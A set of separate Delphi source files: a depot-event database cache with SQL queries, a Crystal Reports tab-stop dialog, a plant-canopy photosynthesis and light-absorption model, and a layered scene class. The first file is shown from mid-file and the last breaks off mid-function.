+ ' LIMIT 1';
CSQLReadAfter = 'SELECT *'
+ ' FROM event_depot'
+ ' WHERE VehicleID = :v_id'
+ ' AND DepotID = :d_id'
+ ' AND DT > :dt'
+ ' ORDER BY DT'
+ ' LIMIT 1';
CSQLInsert = 'INSERT INTO event_depot'
+ ' (VehicleID, DepotID, DT, Duration)'
+ ' VALUES (:v_id, :d_id, :dt, :dur)';
CSQLUpdate = 'UPDATE event_depot SET'
+ ' SET DT = :dt, Duration = :dur'
+ ' WHERE ??? = ???';
CSQLDeleteRange = 'DELETE FROM event_depot'
+ ' WHERE VehicleID = :v_id'
+ ' AND DepotID = :d_id'
+ ' AND dt >= :dt_from'
+ ' AND dt <= :dt_to';
CSQLLastPresentDT = 'SELECT MAX(DT) AS DT'
+ ' FROM event_depot'
+ ' WHERE VehicleID = :v_id'
+ ' AND DepotID = :d_id';
//------------------------------------------------------------------------------
// TSystemMoveEventClass
//------------------------------------------------------------------------------
constructor TClassEventDepot.Create(
const ID: Integer;
const VehicleID: Integer;
const DepotID: Integer;
const DTMark: TDateTime;
const Duration: Double
);
begin
inherited Create();
//
FID := ID;
FVehicleID := VehicleID;
FDepotID := DepotID;
FDTMark := DTMark;
FDuration := Duration;
FTill := DTMark + Duration;
end;
function TClassEventDepot.GetDTMark(): TDateTime;
begin
Result := FDTMark;
end;
procedure TClassEventDepot.SetID(
const Value: Integer
);
begin
FID := Value;
end;
procedure TClassEventDepot.SetDuration(
const Value: Double
);
begin
FDuration := Value;
FTill := Value + FDTMark;
end;
procedure TClassEventDepot.SetTill(
const Value: TDateTime
);
begin
FTill := Value;
FDuration := Value - FDTMark;
end;
//------------------------------------------------------------------------------
// TCacheEventDepot
//------------------------------------------------------------------------------
constructor TCacheEventDepot.Create(
const ReadConnection: TZConnection;
const WriteConnection: TZConnection;
const DBWriteback: Boolean;
const MaxKeepCount: Integer;
const LoadDelta: Double
);
begin
inherited Create(
ReadConnection, WriteConnection, DBWriteback, MaxKeepCount, LoadDelta,
CSQLReadRange, CSQLReadBefore, CSQLReadAfter, CSQLInsert, CSQLUpdate, CSQLDeleteRange, CSQLLastPresentDT
);
//
// FQueryReadRange.ParamByName('v_id').AsInteger := 0;
// FQueryReadBefore.ParamByName('v_id').AsInteger := 0;
// FQueryReadAfter.ParamByName('v_id').AsInteger := 0;
// FQueryInsert.ParamByName('v_id').AsInteger := 0;
// FQueryInsert.ParamByName('v_id').AsInteger := 0;
// FQueryDeleteRange.ParamByName('v_id').AsInteger := 0;
// FQueryLastPresentDT.ParamByName('v_id').AsInteger := 0;
// FQueryReadRange.ParamByName('d_id').AsInteger := 0;
// FQueryReadBefore.ParamByName('d_id').AsInteger := 0;
// FQueryReadAfter.ParamByName('d_id').AsInteger := 0;
// FQueryInsert.ParamByName('d_id').AsInteger := 0;
// FQueryInsert.ParamByName('d_id').AsInteger := 0;
// FQueryDeleteRange.ParamByName('d_id').AsInteger := 0;
// FQueryLastPresentDT.ParamByName('d_id').AsInteger := 0;
end;
procedure TCacheEventDepot.ExecDBInsert(
const AObj: IDataObj
);
begin
with (AObj as TClassEventDepot), FQueryInsert do
begin
Active := False;
ParamByName('v_id').AsFloat := FVehicleID;
ParamByName('d_id').AsFloat := FDepotID;
ParamByName('dt').AsDateTime := FDTMark;
ParamByName('dur').AsDateTime := FDuration;
ExecSQL();
end;
end;
procedure TCacheEventDepot.ExecDBUpdate(
const AObj: IDataObj
);
begin
with (AObj as TClassEventDepot), FQueryUpdate do
begin
Active := False;
ParamByName('v_id').AsFloat := FVehicleID;
ParamByName('d_id').AsFloat := FDepotID;
ParamByName('dt').AsDateTime := FDTMark;
ParamByName('dur').AsDateTime := FDuration;
ExecSQL();
end;
end;
function TCacheEventDepot.MakeObjFromReadReq(
const AQuery: TZQuery
): IDataObj;
begin
with AQuery do
begin
Result := TClassEventDepot.Create(
FieldByName('ID').AsInteger,
FieldByName('VehicleID').AsInteger,
FieldByName('DepotID').AsInteger,
FieldByName('DT').AsDateTime,
FieldByName('Duration').AsFloat
);
end;
end;
end.
|
unit UDTabStops;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, UCrpe32, StdCtrls, ExtCtrls;
type
TCrpeTabStopsDlg = class(TForm)
pnlTabStops: TPanel;
lblNames: TLabel;
lblFieldName: TLabel;
lblCount: TLabel;
lbNumbers: TListBox;
editCount: TEdit;
cbAlignment: TComboBox;
btnOk: TButton;
btnClear: TButton;
lblOffset: TLabel;
editOffset: TEdit;
rgUnits: TRadioGroup;
btnAdd: TButton;
btnDelete: TButton;
procedure FormCreate(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure lbNumbersClick(Sender: TObject);
procedure rgUnitsClick(Sender: TObject);
procedure cbAlignmentChange(Sender: TObject);
procedure editOffsetEnter(Sender: TObject);
procedure editOffsetExit(Sender: TObject);
procedure btnOkClick(Sender: TObject);
procedure btnAddClick(Sender: TObject);
procedure btnDeleteClick(Sender: TObject);
procedure btnClearClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure UpdateTabStops;
procedure InitializeControls(OnOff: boolean);
private
{ Private declarations }
public
{ Public declarations }
Crt : TCrpeTabStops;
TIndex : integer;
PrevSize : string;
end;
var
CrpeTabStopsDlg: TCrpeTabStopsDlg;
implementation
{$R *.DFM}
uses UCrpeUtl, UCrpeClasses;
{------------------------------------------------------------------------------}
{ FormCreate }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.FormCreate(Sender: TObject);
begin
LoadFormPos(Self);
btnOk.Tag := 1;
btnAdd.Tag := 1;
TIndex := -1;
end;
{------------------------------------------------------------------------------}
{ FormShow }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.FormShow(Sender: TObject);
begin
UpdateTabStops;
end;
{------------------------------------------------------------------------------}
{ UpdateTabStops }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.UpdateTabStops;
var
OnOff : boolean;
i : integer;
begin
TIndex := -1;
{Enable/Disable controls}
if IsStrEmpty(Crt.Cr.ReportName) then
OnOff := False
else
begin
OnOff := (Crt.Count > 0);
{Get TabStops Index}
if OnOff then
begin
if Crt.ItemIndex > -1 then
TIndex := Crt.ItemIndex
else
TIndex := 0;
end;
end;
InitializeControls(OnOff);
{Update list box}
if OnOff then
begin
{Fill Numbers ListBox}
for i := 0 to Crt.Count - 1 do
lbNumbers.Items.Add(IntToStr(i));
editCount.Text := IntToStr(Crt.Count);
lbNumbers.ItemIndex := TIndex;
lbNumbersClick(Self);
end;
end;
{------------------------------------------------------------------------------}
{ InitializeControls }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.InitializeControls(OnOff: boolean);
var
i : integer;
begin
{Enable/Disable the Form Controls}
for i := 0 to ComponentCount - 1 do
begin
if TComponent(Components[i]).Tag = 0 then
begin
if Components[i] is TButton then
TButton(Components[i]).Enabled := OnOff;
if Components[i] is TRadioGroup then
TRadioGroup(Components[i]).Enabled := OnOff;
if Components[i] is TComboBox then
begin
TComboBox(Components[i]).Color := ColorState(OnOff);
TComboBox(Components[i]).Enabled := OnOff;
end;
if Components[i] is TListBox then
begin
TListBox(Components[i]).Clear;
TListBox(Components[i]).Color := ColorState(OnOff);
TListBox(Components[i]).Enabled := OnOff;
end;
if Components[i] is TEdit then
begin
TEdit(Components[i]).Text := '';
if TEdit(Components[i]).ReadOnly = False then
TEdit(Components[i]).Color := ColorState(OnOff);
TEdit(Components[i]).Enabled := OnOff;
end;
end;
end;
end;
{------------------------------------------------------------------------------}
{ lbNumbersClick }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.lbNumbersClick(Sender: TObject);
begin
TIndex := lbNumbers.ItemIndex;
cbAlignment.ItemIndex := Ord(Crt[TIndex].Alignment);
rgUnitsClick(Self);
end;
{------------------------------------------------------------------------------}
{ cbAlignmentChange }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.cbAlignmentChange(Sender: TObject);
begin
Crt.Item.Alignment := TCrHorizontalAlignment(cbAlignment.ItemIndex);
end;
{------------------------------------------------------------------------------}
{ editOffsetEnter }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.editOffsetEnter(Sender: TObject);
begin
if Sender is TEdit then
PrevSize := TEdit(Sender).Text;
end;
{------------------------------------------------------------------------------}
{ editOffsetExit }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.editOffsetExit(Sender: TObject);
begin
if rgUnits.ItemIndex = 0 then {inches}
begin
if not IsFloating(editOffset.Text) then
editOffset.Text := PrevSize
else
begin
Crt.Item.Offset := InchesStrToTwips(editOffset.Text);
UpdateTabStops; {this will truncate any decimals beyond 3 places}
end;
end
else {twips}
begin
if not IsNumeric(editOffset.Text) then
editOffset.Text := PrevSize
else
Crt.Item.Offset := StrToInt(editOffset.Text);
end;
end;
{------------------------------------------------------------------------------}
{ rgUnitsClick }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.rgUnitsClick(Sender: TObject);
begin
if rgUnits.ItemIndex = 0 then {inches}
editOffset.Text := TwipsToInchesStr(Crt.Item.Offset)
else {twips}
editOffset.Text := IntToStr(Crt.Item.Offset);
end;
{------------------------------------------------------------------------------}
{ btnOkClick }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.btnOkClick(Sender: TObject);
begin
SaveFormPos(Self);
Close;
end;
{------------------------------------------------------------------------------}
{ btnAddClick }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.btnAddClick(Sender: TObject);
var
s1 : string;
i : integer;
begin
if InputQuery('Add TabStop', 'Specify Tab Offset (in twips - 1440 twips per inch):', s1) then
begin
if IsNumeric(s1) then
begin
i := StrToInt(s1);
Crt.Add(haLeft, i);
UpdateTabStops;
end;
end;
end;
{------------------------------------------------------------------------------}
{ btnDeleteClick }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.btnDeleteClick(Sender: TObject);
begin
Crt.Delete(TIndex);
UpdateTabStops;
end;
{------------------------------------------------------------------------------}
{ btnClearClick }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.btnClearClick(Sender: TObject);
begin
Crt.Clear;
UpdateTabStops;
end;
{------------------------------------------------------------------------------}
{ FormClose }
{------------------------------------------------------------------------------}
procedure TCrpeTabStopsDlg.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Release;
end;
end.
|
unit Model_Absorption;
//
// PHOLIAGE Model, (c) Roelof Oomen, 2006-2007
//
// Model data definitions and calculation methods
//
interface
// Use table lookup instead of calculating everything every time
// Speeds up program enormously
{$DEFINE TABLES}
// Use old (non-Kf based) absorption calculation
{ $DEFINE OLDABS}
uses
Paths, Vector, GaussInt;
type
/// Calculates light for a given pathlength through a vegetation
/// Note: Be sure to assign Crown and Vegetation! (normally done by TAbsorption)
TLight = class(TGaussInt)
private
_c : Double; // Internal c variable
_I_H : double; // Internal I_H variable
_AzWidth : double;
// Setters make sure I_omega_0 is updated
procedure setC(const Value: Double);
procedure setI_H(const Value: Double);
/// Calculates i_omega_0
function i_omega_0_calc:double;
procedure setAzWidth(const Value: Double);
protected
function fuGI(const xGI: Double): Double; override;
public
Crown : TCrown; // Calculates path length through crown
Vegetation : TVegetationCircular; // Calculates path length through surrounding vegetation
// TODO: Remove extinction - but how interwoven is this with TAbsorption?
Extinction : TExtinction;
i_omega_0 : double;
/// Curvature of light function, default = 2
property c : Double read _c write setC;
/// Total light intensity on the horizontal plane, default = 1000
property I_H : Double read _I_H write setI_H;
// Azimuthal width of the light distribution, normally 2pi
property AzWidth : Double read _AzWidth write setAzWidth;
// Light model from Van Bentum and Schieving, 2007, unpublished
function i_omega_f(const Theta: Double): double;
function i_omega(const p, d_i: TVectorS; stepPol, stepAz, id: integer): double;
constructor Create; // Instantiates Extinction, Crown and Vegetation
destructor Destroy; override;
end;
// *** Absorption speed per unit crown volume ********************************************
{$IFNDEF OLDABS}
///Integration class of azimuth part of total absorption
TAbsorptionAz = class(TGaussInt)
strict private
d_i,
p : TVectorS;
stepPol : Integer;
protected
function fuGI(const xGI: Double): Double; override;
public
Light : TLight;
function AzInt(const _p, _d_i : TVectorS; _stepPol : integer): double;
constructor Create; // Instantiates Light
destructor Destroy; override;
end;
///Total light absorption speed
TAbsorption = Class(TGaussInt)
strict private
p, // Point for which to calculate absorption
d_i : TVectorS;
private
procedure GP_w(Value : integer);
function number_N: integer; // Leaf normal
protected
function fuGI(const xGI: Double): Double; override;
public
AbsorptionAz : TAbsorptionAz; // Azimuth integration
function I(const _p : TVectorS ) : Double; virtual;
// Set both own and AbsorptionAz's GP
property GP : integer read number_N write GP_w;
constructor Create; // Instantiates AbsorptionKfAz
destructor Destroy; override;
end;
{$ENDIF}
// *** Photosynthesis speed per unit leaf area ********************************************
TPhotosynthesis = class
public
// Quantum yield
phi : Double;
// Curvature
theta : Double;
// Slope, y-intercept, asymptotic maximum of photosynthesis hyperbola
a_P, b_P, c_P : Double;
// Slope, y-intercept of dark respiration function
a_R, b_R : Double;
// Indicates whether a linear or a hyperbolic photosynthesis function is used
p_lin : Boolean;
// Light at the top of the crown
I_top : Double;
// Nitrogen content
N_top : Double;
// Nitrogen coefficient
a_N : Double;
// Nitrogen at a certain point (expressed as a light level) in the crown
function N( I : Double) : Double;
// Dark respiration
function R_d( _N : Double): Double;
// Light saturated rate of gross photosynthesis
function p_m( _N : Double): Double;
// Photosynthesis, based on absorbed light I
function p_L(const I, _N : Double ) : Double; overload;
// This is p_L( I, N( I ) )
function p_L(const I : Double ) : Double; overload;
end;
// *********************** Incident light routines ***********************
/// Integration class of azimuth part of absorption per unit leaf area
/// Note: Be sure Light is assigned! (normally done by TAbsorption)
TIncidentLAz = class(TGaussInt)
strict private
d_L,
d_i,
p : TVectorS;
// Integration step of Polar LAbsorption integral (TIncidentL)
stepPol : Integer;
protected
function fuGI(const xGI: Double): Double; override;
public
Light : TLight; // Calculates light climate and extinction
function AzInt(const _p, _d_L, _d_i: TVectorS; _stepPol:integer): double;
constructor Create; // Instantiates Light
destructor Destroy; override;
end;
/// Incident light per unit leaf area for leaves with normal d_L
TIncidentL = Class(TGaussInt)
strict private
p, // Point for which to calculate light
d_i, // Inverse direction of light beam
d_L : TVectorS;
private
procedure GP_w(const Value: integer);
function number_N: integer; // Leaf normal
protected
function fuGI(const xGI: Double): Double; override;
public
IncidentLAz : TIncidentLAz; // Azimuth integration
function I_L(const _p, _d_L : TVectorS ) : double;
// Set both own and IncidentLAz's GP
property GP : integer read number_N write GP_w;
constructor Create; // Instantiates IncidentLAz
destructor Destroy; override;
End;
// *** Total light absorption at point p ***************************************
{$IFDEF OLDABS}
/// Integration class of azimuth part of total absorption
TAbsorptionAz = class(TGaussInt)
strict private
d_L,
p : TVectorS;
protected
function fuGI(const xGI: Double): Double; override;
public
IncidentL : TIncidentL;
function AzInt(const _p, _d_L : TVectorS): double;
constructor Create;
destructor Destroy; override;
end;
/// Total light absorption
TAbsorption = Class(TGaussInt)
strict private
p, // Point for which to calculate absorption
d_L : TVectorS;
private
procedure GP_w(const Value: integer);
function number_N: integer; // Leaf normal
protected
function fuGI(const xGI: Double): Double; override;
public
AbsorptionAz : TAbsorptionAz; // Azimuth integration
function I(const _p : TVectorS ) : Double; virtual;
// Set both own and AbsorptionAz's GP
property GP : integer read number_N write GP_w;
constructor Create;
destructor Destroy; override;
End;
{$ENDIF}
/// Integration class of azimuth part of total assimilation
TAssimilationAz = class(TGaussInt)
strict private
d_L,
p : TVectorS;
protected
function fuGI(const xGI: Double): Double; override;
public
IncidentL : TIncidentL;
Photosynthesis : TPhotosynthesis;
function AzInt(const _p, _d_L : TVectorS): double;
constructor Create; // Instantiates IncidentL and Photosynthesis
destructor Destroy; override;
end;
/// Total assimilation speed
TAssimilation = Class(TGaussInt)
strict private
p, // Point for which to calculate assimilation
d_L : TVectorS;
private
procedure GP_w(const Value: integer);
function number_N: integer; // Leaf normal
protected
function fuGI(const xGI: Double): Double; override;
public
AssimilationAz : TAssimilationAz; // Azimuth integration
function P_tot(const _p : TVectorS) : Double; virtual;
// Set both own and AssimilationAz's GP
property GP : integer read number_N write GP_w;
constructor Create; // Instantiates AssimilationAz
destructor Destroy; override;
End;
TEnvironment = class
public
Light : TLight;
Photosynthesis : TPhotosynthesis;
Crown : TCrown;
Vegetation : TVegetationCircular;
Assimilation : TAssimilation;
Absorption : TAbsorption;
constructor Create;
destructor Destroy; override;
end;
implementation
uses
Math, SysUtils;
{ *** TAbsorptionAz ***************************************************************** }
{$IFNDEF OLDABS}
constructor TAbsorptionAz.Create;
begin
inherited;
Light:=TLight.Create;
x_min:=0;
x_max:=2*pi;
end;
destructor TAbsorptionAz.Destroy;
begin
FreeAndNil(Light);
inherited Destroy;
end;
function TAbsorptionAz.fuGI(const xGI: Double): Double;
// xGI is psi_L
begin
d_i.psi:=xGI;
result:=Light.i_omega(p, d_i, stepPol,step, 0)*Light.Extinction.Kf(d_i, Light.Crown.F, stepPol, step, 0);
end;
function TAbsorptionAz.AzInt(const _p, _d_i : TVectorS; _stepPol : integer): double;
begin
p:=_p;
d_i:=_d_i;
stepPol:=_stepPol;
result:=integrate; // Default: (0, 2*pi)
end;
{ *** TAbsorption ***************************************************************** }
constructor TAbsorption.Create;
begin
inherited Create;
// Initialise
AbsorptionAz:=TAbsorptionAz.Create;
x_min:=0;
x_max:=pi/2;
end;
destructor TAbsorption.Destroy;
begin
FreeAndNil(AbsorptionAz);
inherited;
end;
function TAbsorption.fuGI(const xGI: Double): Double;
// xGI is theta_L
begin
d_i.theta:=xGi;
result:=sin(d_i.theta)*AbsorptionAz.AzInt(p, d_i, step);
end;
function TAbsorption.I(const _p : TVectorS ): Double;
begin
p:=_p;
d_i.r:=1;
result:=integrate;// Default: (0,pi/2)
end;
procedure TAbsorption.GP_w(Value : integer);
begin
inherited GP:=Value;
AbsorptionAz.GP:=Value;
end;
function TAbsorption.number_N: integer;
begin
Result:=inherited GP;
end;
{$ENDIF}
{ *** TLight ***************************************************************** }
constructor TLight.Create;
begin
inherited;
Extinction:=TExtinction.Create;
Crown:=TCrown.Create;
Vegetation:=TVegetationCircular.Create;
x_min:=0;
x_max:=pi/2;
_AzWidth:=2*pi;
c:=2;
I_H:=1000;
end;
destructor TLight.Destroy;
begin
FreeAndNil(Vegetation);
FreeAndNil(Crown);
FreeAndNil(Extinction);
inherited;
end;
procedure TLight.setAzWidth(const Value: Double);
begin
_AzWidth:=Value;
i_omega_0:=i_omega_0_calc;
end;
procedure TLight.setC(const Value: Double);
begin
_c:=value;
i_omega_0:=i_omega_0_calc;
end;
procedure TLight.setI_H(const Value: Double);
begin
_I_H:=value;
i_omega_0:=i_omega_0_calc;
end;
function TLight.fuGI(const xGI: Double): Double;
begin
result:=sin(xGI)*cos(xGI)*(1-Power(sin(xGI),c));
end;
function TLight.i_omega_0_calc: double;
begin
result:=I_H/(AzWidth*integrate);// Default: (0,pi/2)
end;
function TLight.i_omega_f(const Theta: Double): double;
begin
result:=i_omega_0*(1-power(sin(theta),c));
end;
function TLight.i_omega(const p, d_i: TVectorS; stepPol, stepAz, id: integer): double;
begin
// We have to be sure that Crown.pathlength is calulated first,
// as Vegetation.pathlength uses Crown.q as input. By placing extra
// parentheses around Kf()*Crown.pathlength() we make sure this expression
// is evaluated before Kf()*Vegetation.pathlength()
// (See also: "Operator Precedence" in Delphi help)
result := i_omega_f(d_i.theta) * exp(
// -( ( Extinction.Kf(d_i,Crown.F, stepPol, stepAz, id) * Crown.pathlength(p, d_i) ) +
Crown.Attenuation(p, d_i, stepPol, stepAz, id) +
// Extinction.Kf(d_i, Vegetation.F, stepPol, stepAz, id) * Vegetation.pathlength(Crown.q, d_i) ));
Vegetation.Attenuation(Crown.q, d_i, stepPol, stepAz, id) );
end;
function TPhotosynthesis.R_d( _N: Double): Double;
begin
Result := a_R * _N + b_R;
end;
function TPhotosynthesis.p_m( _N: Double): Double;
begin
if p_lin then // Linear Pmax relation
Result := a_P*_N + b_P
else // Hyperbolic Pmax relation
Result := (a_P*_N + b_P)*c_P / ((a_P*_N + b_P)+c_P);
end;
function TPhotosynthesis.N(I: Double): Double;
begin
Result:=N_top * Power(I/I_top,a_N);
end;
function TPhotosynthesis.p_L(const I, _N : Double ): Double;
begin
Result:=((p_m(_N)+I*phi)- sqrt( sqr(p_m(_N)+I*phi)-(4*theta*p_m(_N)*I*phi) ))
/(2*theta) - R_d(_N);
end;
function TPhotosynthesis.p_L(const I: Double): Double;
begin
Result:=p_L(I, N(I));
end;
{ *** TLAbsorptionAz ********************************************************* }
constructor TIncidentLAz.Create;
begin
inherited;
Light:=TLight.Create;
x_min:=0;
x_max:=2*pi;
end;
destructor TIncidentLAz.Destroy;
begin
FreeAndNil(Light);
inherited;
end;
function TIncidentLAz.fuGI(const xGI: Double): Double;
// xGI is psi_i
begin
d_i.psi:=xGI;
result:=abs(d_L*d_i)*Light.i_omega(p, d_i, stepPol, step, 1);
end;
function TIncidentLAz.AzInt(const _p, _d_L, _d_i: TVectorS; _stepPol: integer): double;
begin
p:=_p;
d_L:=_d_L;
d_i:=_d_i;
stepPol:=_stepPol;
result:=integrate; // Default: (0,2*pi)
end;
{ *** TLAbsorption *********************************************************** }
constructor TIncidentL.Create;
begin
inherited Create;
IncidentLAz:=TIncidentLAz.Create;
x_min:=0;
x_max:=pi/2;
end;
destructor TIncidentL.Destroy;
begin
FreeAndNil(IncidentLAz);
inherited;
end;
function TIncidentL.fuGI(const xGI: Double): Double;
// xGI is theta_i
begin
d_i.theta:=xGI;
result:=sin(xGI)*IncidentLAz.AzInt(p,d_L,d_i,step);
end;
procedure TIncidentL.GP_w(const Value: integer);
begin
inherited GP:=Value;
IncidentLAz.GP:=Value;
end;
function TIncidentL.I_L(const _p, _d_L : TVectorS ) : double;
begin
p := _p;
d_L:=_d_L;
d_i.r:=1;
result:=integrate; // Default: (0,pi/2)
end;
function TIncidentL.number_N: integer;
begin
result:=inherited GP;
end;
{ *** TAbsorptionAz ********************************************************** }
{$IFDEF OLDABS}
constructor TAbsorptionAz.Create;
begin
inherited Create;
IncidentL:=TIncidentL.Create;
x_min:=0;
x_max:=2*pi;
end;
destructor TAbsorptionAz.Destroy;
begin
FreeAndNil(IncidentL);
inherited Destroy;
end;
function TAbsorptionAz.fuGI(const xGI: Double): Double;
// xGI is psi_L
begin
d_L.psi:=xGI;
result:=IncidentL.I_L(p, d_L);
end;
function TAbsorptionAz.AzInt(const _p, _d_L: TVectorS): double;
begin
p:=_p;
d_L:=_d_L;
result:=integrate; // Default: (0, 2*pi)
end;
{ *** TAbsorption ************************************************************ }
constructor TAbsorption.Create;
begin
inherited Create;
AbsorptionAz:=TAbsorptionAz.Create;
// Initialise
x_min:=0;
x_max:=pi/2;
end;
destructor TAbsorption.Destroy;
begin
FreeAndNil(AbsorptionAz);
inherited;
end;
function TAbsorption.fuGI(const xGI: Double): Double;
// xGI is theta_L
begin
d_L.theta:=xGi;
With AbsorptionAz.IncidentL.IncidentLAz.Light do
result:=sin(d_L.theta)*Crown.F.f_omega(d_L.theta)*AbsorptionAz.AzInt(p, d_L);
end;
function TAbsorption.I(const _p: TVectorS): double;
var
J : Integer;
begin
p:=_p;
d_L.r:=1;
// Should integrate over theta_L angles 0 to 1/2 pi
// Integration is divided over the angle classes, as the transition
// between these classes is not continuous.
result:=0;
With AbsorptionAz.IncidentL.IncidentLAz.Light do
for J := 0 to High(Crown.F.AngleClasses) do
result:=result+Crown.F.a_L*self.integrate((Crown.F.AngleClasses[J].Mid-(0.5*Crown.F.AngleClasses[J].Width)),(Crown.F.AngleClasses[J].Mid+(0.5*Crown.F.AngleClasses[J].Width)));// Default: (0,pi/2)
end;
procedure TAbsorption.GP_w(const Value: integer);
begin
inherited GP:=Value;
AbsorptionAz.GP:=Value;
end;
function TAbsorption.number_N: integer;
begin
Result:=inherited GP;
end;
{$ENDIF}
{ *** TAssimilationAz ********************************************************** }
constructor TAssimilationAz.Create;
begin
inherited Create;
IncidentL:=TIncidentL.Create;
Photosynthesis:=TPhotosynthesis.Create;
x_min:=0;
x_max:=2*pi;
end;
destructor TAssimilationAz.Destroy;
begin
FreeAndNil(Photosynthesis);
FreeAndNil(IncidentL);
inherited Destroy;
end;
function TAssimilationAz.fuGI(const xGI: Double): Double;
// xGI is psi_L
begin
d_L.psi:=xGI;
result:=Photosynthesis.p_L(IncidentL.I_L(p,d_L));
// For testing this integration use the following, then P should yield
// the same as I.
// result:=IncidentL.IncidentLAz.Light.Crown.F.a_L*IncidentL.I_L(p,d_L);
end;
function TAssimilationAz.AzInt(const _p, _d_L: TVectorS): double;
begin
p:=_p;
d_L:=_d_L;
result:=integrate; // Default: (0, 2*pi)
end;
{ *** TAssimilation ************************************************************ }
constructor TAssimilation.Create;
begin
inherited Create;
AssimilationAz:=TAssimilationAz.Create;
x_min:=0;
x_max:=pi/2;
end;
destructor TAssimilation.Destroy;
begin
FreeAndNil(AssimilationAz);
inherited;
end;
function TAssimilation.fuGI(const xGI: Double): Double;
// xGI is theta_L
begin
d_L.theta:=xGi;
With AssimilationAz.IncidentL.IncidentLAz.Light do
result:=sin(d_L.theta)*Crown.F.f_omega(d_L.theta)*AssimilationAz.AzInt(p, d_L);
end;
function TAssimilation.P_tot(const _p: TVectorS ): double;
var
J : Integer;
begin
p:=_p;
d_L.r:=1;
// Should integrate over theta_L angles 0 to 1/2 pi
// Integration is divided over the angle classes, as the transition
// between these classes is not continuous.
result:=0;
With AssimilationAz.IncidentL.IncidentLAz.Light do
for J := 0 to High(Crown.F.AngleClasses) do
result:=result+Crown.F.a_L*self.integrate((Crown.F.AngleClasses[J].Mid-(0.5*Crown.F.AngleClasses[J].Width)),(Crown.F.AngleClasses[J].Mid+(0.5*Crown.F.AngleClasses[J].Width)));// Default: (0,pi/2)
end;
procedure TAssimilation.GP_w(const Value: integer);
begin
inherited GP:=Value;
AssimilationAz.GP:=Value;
end;
function TAssimilation.number_N: integer;
begin
Result:=inherited GP;
end;
{ TEnviroment }
constructor TEnvironment.Create;
begin
inherited;
// Create main classes
Absorption:=TAbsorption.Create;
Assimilation:=TAssimilation.Create;
// Make accessory classes point to the right locations
{$IFNDEF OLDABS}
Light:=Absorption.AbsorptionAz.Light;
Crown:=Absorption.AbsorptionAz.Light.Crown;
Vegetation:=Absorption.AbsorptionAz.Light.Vegetation;
{$ELSE}
Light:=Absorption.AbsorptionAz.IncidentL.IncidentLAz.Light;
Crown:=Absorption.AbsorptionAz.IncidentL.IncidentLAz.Light.Crown;
Vegetation:=Absorption.AbsorptionAz.IncidentL.IncidentLAz.Light.Vegetation;
{$ENDIF}
Photosynthesis:=Assimilation.AssimilationAz.Photosynthesis;
// This light has been instantiated already in case Assimilation is used
// stand-alone, so now it has to be freed...
FreeAndNil(Assimilation.AssimilationAz.IncidentL.IncidentLAz.Light);
// ...and to be made to point to the right location:
Assimilation.AssimilationAz.IncidentL.IncidentLAz.Light:=Light;
end;
destructor TEnvironment.Destroy;
begin
FreeAndNil(Assimilation);
// This has been freed when freeing Assimilation.AssimilationAz.IncidentL.IncidentLAz.Light
// however, it has not been nilled for some reason, making the destroying
// of Absorption try to free it again leading to an invalid pointer operation.
{$IFNDEF OLDABS}
Absorption.AbsorptionAz.Light:=nil;
{$ELSE}
Absorption.AbsorptionAz.IncidentL.IncidentLAz.Light:=nil;
{$ENDIF}
FreeAndNil(Absorption);
inherited;
end;
end.
|
unit uScene;
interface
uses uLayer, uArrayListOfLayer;
const MIN_LAYERS = 1;
const MAX_LAYERS = 10;
{
For serialization
}
type SceneRecord = record
layers: LayerRecordList;
currentLayer: integer;
end;
{
Provides containers for containers of containers of points
}
type Scene = class(TObject)
layers: ArrayListOfLayer;
currentLayer: integer;
constructor Create();
function hasCurrentLayer(): boolean;
function getCurrentLayer(): Layer;
function selectPrevLayer(): boolean;
function selectNextLayer(): boolean;
function addLayer(l: Layer): boolean;
function removeLayer(i: integer): boolean;
end;
function snToClass(r: SceneRecord): Scene;
function snToRecord(s: Scene): SceneRecord;
implementation
// Scene
constructor Scene.Create();
begin
layers := ArrayListOfLayer.Create(10);
layers.add(Layer.Create('Some layer'));
currentLayer := 0;
end;
// Scene
function Scene.hasCurrentLayer(): boolean;
begin
hasCurrentLayer := currentLayer <> -1;
end;
// Scene
function Scene.getCurrentLayer(): Layer;
begin
getCurrentLayer := layers.get(currentLayer);
end;
// Scene
function Scene.selectPrevLayer(): boolean;
begin
selectPrevLayer := false;
if currentLayer > 0 then begin
dec(currentLayer, 1);
selectPrevLayer := true; // success
end;
end;
// Scene
function Scene.selectNextLayer(): boolean;
begin
selectNextLayer := false;
if currentLayer < layers.size() - 1 then begin
inc(currentLayer, 1);
selectNextLayer := true; // success
end;
end;
// Scene
function Scene.addLayer(l: Layer): boolean;
begin
addLayer := false;
if layers.size() < MAX_LAYERS then begin
currentLayer := layers.size();
layers.add(l);
addLayer := true; // success
end;
end;
// Scene
function Scene.removeLayer(i: integer): boolean;
var j: integer;
begin
removeLayer := false;
layers := layers;
if (layers.get(i) <> nil) and (i > -1) and
(i < layers.size()) and (layers.size() > 1) then begin
layers.remove(i);
if currentLayer = layers.size() then
dec(currentLayer, 1);
removeLayer := true;
end;
end;
function snToClass(r: SceneRecord): Scene;
var
i: integer;
s: Scene;
begin
s := Scene.Create();
s.layers.put(lyToClass(r.layers[0]), 0);
for i := 1 to length(r.layers) - 1 do
s.addLayer(lyToClass(r.layers[i]));
s.currentLayer := r.currentLayer;
snToClass := s;
end;
function snToRecord(s: Scene): SceneRecord;
var
i: integer;
r: SceneRecord;
begin
SetLength(r.layers, s.layers.size());
for i := 0 to s.layers.size() - 1 do
